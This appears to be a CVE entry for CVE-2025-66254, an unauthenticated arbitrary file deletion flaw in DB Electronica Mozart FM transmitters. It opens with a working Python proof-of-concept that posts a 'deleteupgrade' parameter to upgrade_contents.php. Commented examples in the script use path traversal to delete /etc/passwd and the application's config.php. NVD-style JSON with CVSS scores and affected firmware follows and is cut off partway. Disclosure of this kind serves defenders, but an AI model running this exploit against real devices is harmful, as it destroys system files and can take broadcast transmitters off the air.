CVE-2025-66254

import requests import urllib.parse # CVE-2025-66254 PoC - Unauthenticated Arbitrary File Deletion # Target: DB Electronica Mozart FM Transmitter # Vulnerability: deleteupgrade parameter in /var/www/upgrade_contents.php TARGET_URL = "http://target-ip/upgrade_contents.php" def delete_file(filepath): """Send request to delete arbitrary file via deleteupgrade parameter""" payload = { 'deleteupgrade': filepath } response = requests.post(TARGET_URL, data=payload, timeout=10) return response.status_code, response.text # Example 1: Delete a file in upload directory filepath1 = "example.txt" status, resp = delete_file(filepath1) print(f"Delete {filepath1}: Status {status}") # Example 2: Path traversal to delete system file # filepath2 = "../../etc/passwd" # status, resp = delete_file(filepath2) # print(f"Delete system file: Status {status}") # Example 3: Delete application configuration # filepath3 = "../../var/www/config.php" # status, resp = delete_file(filepath3) # print(f"Delete config: Status {status}")

{"cve": {"id": "CVE-2025-66254", "sourceIdentifier": "b7efe717-a805-47cf-8e9a-921fca0ce0ce", "published": "2025-11-26T01:16:08.570", "lastModified": "2025-12-03T16:47:59.427", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Unauthenticated Arbitrary File Deletion (upgrade_contents.php) in DB Electronica Telecomunicazioni S.p.A. Mozart FM Transmitter versions 30, 50, 100, 300, 500, 1000, 2000, 3000, 3500, 6000, 7000 allows an attacker to perform The deleteupgrade parameter allows unauthenticated deletion of arbitrary files. \n\nThe `deleteupgrade` parameter in `/var/www/upgrade_contents.php` allows unauthenticated deletion of arbitrary files in `/var/www/upload/` without any extension restriction or path sanitization, enabling attackers to remove critical system files."}], "metrics": {"cvssMetricV40": [{"source": "b7efe717-a805-47cf-8e9a-921fca0ce0ce", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:L/SC:N/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "LOW", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "HIGH", "subAvailabilityImpact": "HIGH", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H", "baseScore": 9.1, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.2}]}, "weaknesses": [{"source": "b7efe717-a805-47cf-8e9a-921fca0ce0ce", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-73"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:dbbroadcast:mozart_next_100_firmware:-:*:*:*:*:*:*:*", "matchCriteriaId": "A2B25533-2EF5-4158-9505-1CD18463DB68"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:dbbroadcast:mozart_next_100:-:*:*:*:*:*:*:*", "matchCriteriaId": "7834E460-78EE-456A-84F7-0DECE004BD80"}]}]}, {"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:dbbroadcast:mozart_next_1000_firmware:-:*:*:*:*:*:*:*", "matchCriteriaId": "A3497F7E-0433-444B-A58A-A795C8833966"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:dbbroadcast:mozart_next_1000:-:*:*:*:*:*:*:*", "matchCriteriaId": "FDEB3E77-E3D8-4878-BBE3-74530F3469B4"}]}]}, {"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:dbbroadcast:mozart_next_2000_firmware:-:*:*:*:*:*:*:*", "matchCriteriaId": "A975C91C-59BD-44AC-9F67-0682CE173738"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:dbbroadcast:mozart_next_2000:-:*:*:*:*:*:*:*", "matchCriteriaId": "F30F6688-FCDA-4BA5-ABD9-0EB91CDF7631"}]}]}, {"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:dbbroadcast:mozart_next_30_firmware:-:*:*:*:*:*:*:*", "matchCriteriaId": "F7B57D15-6192-4D68-9CC5-726E052E7DDD"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:dbbroadcast:mozart_next_30:-:*:*:*:*:*:*:*", "matchCriteriaId": "EA1C3BA1-3E25-474B-B2A4-97136D6287BA"}]}]}, {"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:dbbroadcast:mozart_next_300_firmware:-:*:*:*:*:*:*:*", "matchCriteriaId ... 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